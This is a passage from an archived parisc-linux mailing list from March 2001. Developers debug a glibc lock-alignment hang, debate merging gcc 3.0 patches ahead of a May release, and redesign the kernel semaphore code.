Presumably on the 715/75 __hppa_fptr_lock is zero.

(gdb) bt
#0  0x40014150 in __hppa_make_fptr (sym_map=0x4001c508, value=1075005768, 
    root=0x4001a7cc, mem=0x0) at ../linuxthreads/sysdeps/hppa/pt-machine.h:44
#1  0x40014108 in _dl_function_address (map=0x4001c508, start=1075005768)
    at ../sysdeps/hppa/dl-symaddr.c:38
#2  0x4000f5e0 in _dl_fini () at dl-fini.c:170
#3  0x40060ff4 in exit () from /lib/libc.so.6
#4  0x40047460 in __libc_start_main () from /lib/libc.so.6
#5  0x0000139c in _start ()
#6  0x40014108 in _dl_function_address (map=0x4001c508, start=1075005768)
    at ../sysdeps/hppa/dl-symaddr.c:38

__hppa_make_fptr() is in sysdeps/hppa/dl-fptr.c


Richard





From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 11:11:01 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C226207C@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619956 16860 80.91.229.3 (22 Nov 2014 01:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:36 +0000 (UTC)
Cc: randolph@tausq.org, bdale@gag.com,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "'Alan Modra'" <alan@linuxcare.com.au>, taggart@carmen.fc.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 11:11:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id B21D34A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 11:11:49 -0700 (MST)
Original-Received: from omgw1.boi.hp.com (omgw1.boi.hp.com [15.56.8.101])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 685D55DB; Fri, 16 Mar 2001 13:11:48 -0500 (EST)
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by omgw1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id LAA05985;
	Fri, 16 Mar 2001 11:11:45 -0700 (MST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2653.19)
	id <HB5KFWGS>; Fri, 16 Mar 2001 11:11:45 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:10538

Alan

> I reckon this patch will cure the problem, which I'm testing right
> now.  New gcc debs again, I'm afraid.  Anybody like to voice 
> an opinion for/against moving to the merge I've just done with
> sourceware gcc_3.0?  Looks good so far.

As you can tell :), I am in risk averse mode.  So, my opinion is - NO MERGE,
unless we have specific compelling reasons to do so.

If the patch you have solves the C++ problem (the only significant toolchain
issue at the moment), then why move up?  There may very well be some good
reasons ... I just don't know what they are.

Yes, keeping in sync with 3.0 has its advantages, but it is a moving target
and we know we will be out of sync with it.  Merging now doesn't solve the
general problem of, eventually, getting to an official 3.0 base for PA.

Alan

 




From - Thu Nov 08 21:16:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 13:27:22 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200103161827.NAA17316@hiauly1.hia.nrc.ca>
References: <AB57FCC5E303D511BB8F00A0C9F485C226207C@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619957 16863 80.91.229.3 (22 Nov 2014 01:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:37 +0000 (UTC)
Cc: alan@linuxcare.com.au, taggart@carmen.fc.hp.com,
	randolph@tausq.org, bdale@gag.com, alan_meyer@hp.com,
	parisc-linux@lists.parisc-linux.org
To: alan_meyer@hp.com (MEYER, ALAN C.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 11:29:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2333C4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 11:29:14 -0700 (MST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA17316;
	Fri, 16 Mar 2001 13:27:22 -0500 (EST)
In-Reply-To: <AB57FCC5E303D511BB8F00A0C9F485C226207C@xfc02.fc.hp.com> from "MEYER,ALAN C." at Mar 16, 2001 11:11:01 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10539

> > I reckon this patch will cure the problem, which I'm testing right
> > now.  New gcc debs again, I'm afraid.  Anybody like to voice 
> > an opinion for/against moving to the merge I've just done with
> > sourceware gcc_3.0?  Looks good so far.
> 
> As you can tell :), I am in risk averse mode.  So, my opinion is - NO MERGE,
> unless we have specific compelling reasons to do so.

I am of the opposite opinion.  The 3.0 is approaching release.  Alan has
some patches in his branch that haven't been vetted for sourceware 3.0
and now is a good time to have them vetted.  Gcc releases don't come
very often and it would be good if 3.0 had the features and fixes needed
for parisc-linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 11:43:06 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C226207D@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619957 16865 80.91.229.3 (22 Nov 2014 01:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:37 +0000 (UTC)
Cc: alan@linuxcare.com.au, taggart@carmen.fc.hp.com,
	randolph@tausq.org, bdale@gag.com,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "'John David Anglin'" <dave@hiauly1.hia.nrc.ca>,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 11:44:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB7724A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 11:44:12 -0700 (MST)
Original-Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24])
	by palrel3.hp.com (Postfix) with ESMTP
	id 436EC8F9; Fri, 16 Mar 2001 10:44:06 -0800 (PST)
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA25027;
	Fri, 16 Mar 2001 11:44:05 -0700 (MST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2653.19)
	id <HB5KF5AC>; Fri, 16 Mar 2001 11:44:05 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:10540

> > > I reckon this patch will cure the problem, which I'm testing right
> > > now.  New gcc debs again, I'm afraid.  Anybody like to voice 
> > > an opinion for/against moving to the merge I've just done with
> > > sourceware gcc_3.0?  Looks good so far.
> > 
> > As you can tell :), I am in risk averse mode.  So, my 
> > opinion is - NO MERGE, unless we have specific compelling
> > reasons to do so.
> 
> I am of the opposite opinion.  The 3.0 is approaching 
> release.  Alan has some patches in his branch that haven't
> been vetted for sourceware 3.0 and now is a good time to
> have them vetted.  Gcc releases don't come very often and it
> would be good if 3.0 had the features and fixes needed
> for parisc-linux.

OK, here is what I was thinking.  I agree we want to get any/all PA changes
merged upstream into 3.0.  Great, lets do it.

What I am more concerned about is whether we adopt the new top-o-tree gcc3
with these changes, or whether we just keep the existing compiler we have
with the patch that Alan provided.  The reason I am being anal about this is
that we are trying to provide a "release" in May.  Because of this, I would
really like to identify and freeze the candidate toolchain for this release
ASAP.  Unless we do this soon, we risk the May release.  The toolchain has
been in constant change, making it very difficult to stabalize an image that
is useful to a broader audience.  After May (or before that on a branch), I
am less concerned.

BTW, a basic goal of the May release is to provide a reasonably stable image
that can be used for 64-bit systems (A500, L-class, ...).  At a high level,
the basic characteristics of the release will be:
- finish some key kernel stuff (SMP, large physical memory, ...)
- a target set of debs (with a focus on server oriented stuff)
- reasonable stability

My two cents,
Alan
 





From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: New glibc on 715/75
Date: Fri, 16 Mar 2001 18:46:59 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20010316184659.A31505@linuxcare.com>
References: <20010316115535.X31505@linuxcare.com> <20010316162517.Z31505@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619957 16867 80.91.229.3 (22 Nov 2014 01:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 11:47:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3545781E7
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 11:47:49 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C92A3B007; Fri, 16 Mar 2001 18:46:59 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010316162517.Z31505@linuxcare.com>; from rhirst@linuxcare.com on Fri, Mar 16, 2001 at 04:25:17PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:10541

On Fri, Mar 16, 2001 at 04:25:17PM +0000, Richard Hirst wrote:
> On Fri, Mar 16, 2001 at 11:55:35AM +0000, Richard Hirst wrote:
> > I am trying the glibc etc from newcompilers-20010314 on my 715/75.
> > It seems anything that is dynamically linked hangs on exit.
> 
> Hangs in this loop:
> 
> 0x40014150 <__hppa_make_fptr+56>:       ldw 5f0(sr0,r1),r1
> 0x40014154 <__hppa_make_fptr+60>:       ldcw  0(sr0,r1),r1
> 0x40014158 <__hppa_make_fptr+64>:       cmpib,= 0,r1,0x40014150 <__hppa_make_fptr+56>
> 0x4001415c <__hppa_make_fptr+68>:       addil 0,r19,%r1
> 
> r19 = 4001a930.
> 
> For a good run on the B180, I get in to this code with the
> same r19.  r1=r19, r1+0x5f0=0x4001af20
> 
> 0x4001af20 <errno+1848>:        0x4001a7c8
> 
> 0x4001a7c8 <__hppa_fptr_lock>:  0x00000001

Arggh!  That's not 16 byte aligned.

>From glibc/sysdeps/hppa/dl-fptr.c:

static int __hppa_fptr_lock = 1;

Needs to be

static int __attribute__((aligned(16))) __hppa_fptr_lock = 1;

Richard





From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 15:07:36 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200103162007.PAA18059@hiauly1.hia.nrc.ca>
References: <20010316195903.A21079@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619958 16870 80.91.229.3 (22 Nov 2014 01:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:38 +0000 (UTC)
Cc: alan_meyer@hp.com, alan@linuxcare.com.au,
	taggart@carmen.fc.hp.com, randolph@tausq.org, bdale@gag.com,
	parisc-linux@lists.parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 13:09:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEB23602A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 13:09:02 -0700 (MST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA18059;
	Fri, 16 Mar 2001 15:07:37 -0500 (EST)
In-Reply-To: <20010316195903.A21079@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Mar 16, 2001 07:59:03 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10542

> I was of the impression that we weren't allowed to put in any patches to
> the 3.0 branch that were not specifically aimed at getting 3.0 released
> on the target architectures (and hppa-linux is not one of these).
> 
> I'd love to see support for us in 3.0.

You might have to make a case but I note the following recent patch:

2001-03-15  Steve Ellcey  <sje@cup.hp.com>

        * config.gcc (ia64*-*-hpux*): New case.
	* config/ia64/hpux.h: New file for HP-UX support.
	* config/ia64/t-hpux: New file for HP-UX support.

The guidelines for 3.0 patches are here:
<http://gcc.gnu.org/ml/gcc/2001-02/msg00403.html>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Fri, 16 Mar 2001 19:59:03 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010316195903.A21079@parcelfarce.linux.theplanet.co.uk>
References: <AB57FCC5E303D511BB8F00A0C9F485C226207C@xfc02.fc.hp.com> <200103161827.NAA17316@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619958 16871 80.91.229.3 (22 Nov 2014 01:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:38 +0000 (UTC)
Cc: "MEYER, ALAN C." <alan_meyer@hp.com>, alan@linuxcare.com.au,
	taggart@carmen.fc.hp.com, randolph@tausq.org, bdale@gag.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 13:13:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA119602A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 13:13:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14e0NL-0008Dd-00; Fri, 16 Mar 2001 19:59:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200103161827.NAA17316@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, Mar 16, 2001 at 01:27:22PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10543

On Fri, Mar 16, 2001 at 01:27:22PM -0500, John David Anglin wrote:
> I am of the opposite opinion.  The 3.0 is approaching release.  Alan has
> some patches in his branch that haven't been vetted for sourceware 3.0
> and now is a good time to have them vetted.  Gcc releases don't come
> very often and it would be good if 3.0 had the features and fixes needed
> for parisc-linux.

I was of the impression that we weren't allowed to put in any patches to
the 3.0 branch that were not specifically aimed at getting 3.0 released
on the target architectures (and hppa-linux is not one of these).

I'd love to see support for us in 3.0.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] physical address width
Date: Fri, 16 Mar 2001 14:28:51 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <0103161428510J.15483@eeyore.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619958 16876 80.91.229.3 (22 Nov 2014 01:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 14:29:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id B347E4A1D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 14:29:02 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id E002B1274
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 16:29:01 -0500 (EST)
Original-Received: from eeyore.fc.hp.com (eeyore.fc.hp.com [15.1.54.199])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id OAA09094
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 14:29:01 -0700 (MST)
X-Mailer: KMail [version 1.1.99]
Xref: news.gmane.org gmane.linux.ports.parisc:10544

If/when superdome is configured to be NUMA (i.e., have some memory that is 
not interleaved across all cells), the non-interleaved memory will show up 
in the physical address space above 512Gb.  This is a problem for HP-UX, 
because there are a couple places where physical addresses are stored in 
bitfields too small to contain these addresses.

Does 64-bit parisc-linux have any similar issues?  What is the supported 
physical address size?  I don't know how far above 512Gb memory can go; 
it's sparse, so it could be quite a ways.  I know superdome supports up to 
44-bit addressing, so I guess that's probably the worst case right now.

Bjorn




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Sat, 17 Mar 2001 10:52:45 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103171012070.4658-100000@front.linuxcare.com.au>
References: <200103162007.PAA18059@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619959 16877 80.91.229.3 (22 Nov 2014 01:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:39 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, alan_meyer@hp.com,
	taggart@carmen.fc.hp.com, randolph@tausq.org, bdale@gag.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 16:55:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23B1B4A1C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Mar 2001 16:55:41 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA19117;
	Sat, 17 Mar 2001 10:52:45 +1100
In-Reply-To: <200103162007.PAA18059@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:10545

On Fri, 16 Mar 2001, John David Anglin wrote:

> You might have to make a case but I note the following recent patch:
> 
> 2001-03-15  Steve Ellcey  <sje@cup.hp.com>

Aye, but isn't ia64 "flavour of the month"?  :-)

As far as I can see, the difficulties with getting hppa-linux in are:

a) In order to support hppa-linux cleanly without duplicating lots on
header file defines, I split out various things in existing config/pa
headers.  That means there is potential for HPUX breakage.  HPUX support
doesn't break, but that's almost beside the point.

b) Some patches I made really attacked symptoms rather than causes.  I'd
need to remove these before support as a whole can go in.  Of course, we'd
need to be sure that our compiler isn't broken if I remove the bandaids.

c) Having time to do it.

Alan
-- 
Linuxcare






From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphore problem
Date: Sat, 17 Mar 2001 02:34:31 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20010317023431.F21079@parcelfarce.linux.theplanet.co.uk>
References: <20010316062549.H22875@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619959 16878 80.91.229.3 (22 Nov 2014 01:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 16 19:34:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77DA34A19
	for <parisc-linux@parisc-linux.org>; Fri, 16 Mar 2001 19:34:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14e6Y3-000678-00; Sat, 17 Mar 2001 02:34:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010316062549.H22875@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Fri, Mar 16, 2001 at 06:25:49AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10546

On Fri, Mar 16, 2001 at 06:25:49AM +0000, Matthew Wilcox wrote:
> 
> as i suspected, the pipe problem was a semaphore problem.  here's how
> it works:

OK, I've redesigned the semaphore code on the whiteboard.  Here's how it
works.

The `count' variable is initialised to N for N simultaneous accesses.
A value of 0 indicates there are no processes waiting.  A value of -1
indicates there are processes waiting.  Each up() increments the count by
1 if non-negative.  if negative, it _decrements the count.  So we can
distinguish between the following cases:

 N : N more processes allowed in
 0 : no new processes allowed in, none waiting
-1 : processes waiting, no wakeups in flight
-N : N - 1 wakeups in flight

This allows us to implement wakeup stealing if we want.  Unsure about
starvation issues in that case.  Think about two processes; process A
down down() up() down() up() very frequently.  process B does a down().
do we want to switch to B the next time A does an up()?  or do we want
A to steal B's wakeup?

i shan't implement it now, but it's something to consider.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphore problem
Date: Sun, 18 Mar 2001 20:42:22 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20010318204222.B24811@parcelfarce.linux.theplanet.co.uk>
References: <20010316062549.H22875@parcelfarce.linux.theplanet.co.uk> <20010317023431.F21079@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619959 16881 80.91.229.3 (22 Nov 2014 01:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 18 13:42:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A99914A19
	for <parisc-linux@parisc-linux.org>; Sun, 18 Mar 2001 13:42:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14ek0M-0008GW-00; Sun, 18 Mar 2001 20:42:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010317023431.F21079@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, Mar 17, 2001 at 02:34:31AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10547

On Sat, Mar 17, 2001 at 02:34:31AM +0000, Matthew Wilcox wrote:
> On Fri, Mar 16, 2001 at 06:25:49AM +0000, Matthew Wilcox wrote:
> > 
> > as i suspected, the pipe problem was a semaphore problem.  here's how
> > it works:
> 
> OK, I've redesigned the semaphore code on the whiteboard.  Here's how it
> works.

The theoretical design doesn't seem to be buggy, but the implementation
was, alas.  Fortunately, the bug would only show up with semaphores that
allowed multiple accesses simultaneously.  Here was the situation:

sema_init(2);
P1 down()  2 ->  1
P2 down()  1 ->  0
P3 down()  0 -> -1
P1 up()   -1 -> -2
P2 up()   -2 -> -3
P3 wakes up and sets -3 -> 0
P3 up()    0 ->  1

and we've lost one of the slots.

the rewrite makes P3 set -3 to 1 when it wakes up, so we don't lose a slot.

> This allows us to implement wakeup stealing if we want.  Unsure about

i noticed it now will steal wakeups.  Ah well.  We probably want to do
that anyway.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Stewart <pdksh@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Stable kernel for HP9000 710
Date: Sun, 18 Mar 2001 22:09:37 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <3AB57852.65B7@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
